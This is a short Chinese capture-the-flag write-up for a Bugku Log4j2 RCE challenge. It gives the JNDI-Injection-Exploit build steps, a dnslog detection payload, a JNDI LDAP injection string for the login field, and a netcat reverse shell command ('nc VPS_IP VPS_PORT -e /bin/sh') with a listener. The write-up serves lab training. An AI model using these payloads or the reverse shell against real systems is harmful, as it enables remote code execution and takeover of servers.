ctf bugku Apache Log4j2 RCE解题0x00 环境准备0x01 工具配置0x02 题目测试

0x00 环境准备

• 工具地址

   https://github.com/welk1n/JNDI-Injection-Exploit
  

• 题目地址

    https://ctf.bugku.com/challenges/detail/id/340.html
  

• dnslog地址

    http://www.dnslog.cn/
  

0x01 工具配置

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests

0x02 题目测试

2.1 测试dnslog 看是否存在漏洞

用户名

${jndi:ldap://fpxq47.dnslog.cn}

密码随意

2.2 启动恶意命令服务

cd JNDI-Injection-Exploit-master
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc VPS_IP VPS_PORT -e /bin/sh" -A VPS_IP

任选测试

经测试5个都可以成功

2.3 VPS 开启监听

vps 监听 反弹端口

nc -lvvp 9897

2.4 漏洞点注入

${jndi:ldap://VPS_IP:1389/byoqz0}

2.5 反弹shell成功

最后

以上就是诚心水池为你收集整理的ctf bugku Apache Log4j2 RCE解题0x00 环境准备0x01 工具配置0x02 题目测试的全部内容，希望文章能够帮你解决ctf bugku Apache Log4j2 RCE解题0x00 环境准备0x01 工具配置0x02 题目测试所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。